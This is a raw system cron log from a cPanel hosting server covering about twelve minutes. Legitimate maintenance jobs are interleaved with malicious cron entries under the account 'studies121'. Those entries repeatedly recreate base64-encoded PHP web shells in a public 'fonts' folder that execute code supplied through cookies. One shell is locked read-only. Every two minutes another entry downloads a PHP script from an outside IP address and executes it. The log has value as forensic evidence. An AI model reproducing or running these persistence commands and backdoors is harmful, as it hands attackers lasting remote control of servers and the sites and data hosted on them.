Aug 31 22:33:01 ip-184-168-122-23 CROND[5941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:33:01 ip-184-168-122-23 CROND[5944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:34:01 ip-184-168-122-23 CROND[6021]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:34:01 ip-184-168-122-23 CROND[6022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:34:01 ip-184-168-122-23 CROND[6025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:34:01 ip-184-168-122-23 CROND[6027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:34:01 ip-184-168-122-23 CROND[6026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:35:01 ip-184-168-122-23 CROND[6202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:35:01 ip-184-168-122-23 CROND[6208]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 22:35:01 ip-184-168-122-23 CROND[6205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:35:01 ip-184-168-122-23 CROND[6209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:35:01 ip-184-168-122-23 CROND[6207]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 22:35:01 ip-184-168-122-23 CROND[6210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:35:01 ip-184-168-122-23 CROND[6204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:35:01 ip-184-168-122-23 CROND[6212]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:36:01 ip-184-168-122-23 CROND[6302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:36:01 ip-184-168-122-23 CROND[6304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:36:01 ip-184-168-122-23 CROND[6307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:36:01 ip-184-168-122-23 CROND[6306]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:36:01 ip-184-168-122-23 CROND[6305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:37:01 ip-184-168-122-23 CROND[6385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:37:02 ip-184-168-122-23 CROND[6388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:37:02 ip-184-168-122-23 CROND[6389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:37:02 ip-184-168-122-23 CROND[6391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:38:01 ip-184-168-122-23 CROND[6479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:38:01 ip-184-168-122-23 CROND[6480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:38:01 ip-184-168-122-23 CROND[6483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:38:01 ip-184-168-122-23 CROND[6484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:38:01 ip-184-168-122-23 CROND[6486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:39:01 ip-184-168-122-23 CROND[6573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:39:01 ip-184-168-122-23 CROND[6575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:39:01 ip-184-168-122-23 CROND[6577]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 22:39:01 ip-184-168-122-23 CROND[6579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:39:01 ip-184-168-122-23 CROND[6576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:40:01 ip-184-168-122-23 CROND[6692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:40:01 ip-184-168-122-23 CROND[6695]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 22:40:01 ip-184-168-122-23 CROND[6694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:40:01 ip-184-168-122-23 CROND[6693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:40:01 ip-184-168-122-23 CROND[6697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:40:01 ip-184-168-122-23 CROND[6701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:40:01 ip-184-168-122-23 CROND[6699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:40:01 ip-184-168-122-23 CROND[6700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:41:01 ip-184-168-122-23 CROND[6873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:41:01 ip-184-168-122-23 CROND[6874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:41:01 ip-184-168-122-23 CROND[6872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:41:01 ip-184-168-122-23 CROND[6875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:42:01 ip-184-168-122-23 CROND[6975]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:42:01 ip-184-168-122-23 CROND[6977]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:42:01 ip-184-168-122-23 CROND[6978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:42:01 ip-184-168-122-23 CROND[6979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:42:01 ip-184-168-122-23 CROND[6980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:43:01 ip-184-168-122-23 CROND[7060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:43:01 ip-184-168-122-23 CROND[7061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:43:01 ip-184-168-122-23 CROND[7062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:43:01 ip-184-168-122-23 CROND[7065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:44:01 ip-184-168-122-23 CROND[7151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 22:44:01 ip-184-168-122-23 CROND[7153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 22:44:01 ip-184-168-122-23 CROND[7154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 22:44:01 ip-184-168-122-23 CROND[7155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:44:01 ip-184-168-122-23 CROND[7157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 22:45:01 ip-184-168-122-23 CROND[7252]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 22:45:01 ip-184-168-122-23 CROND[7257]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 22:45:01 ip-184-168-122-23 CROND[7254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 22:45:01 ip-184-168-122-23 CROND[7255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
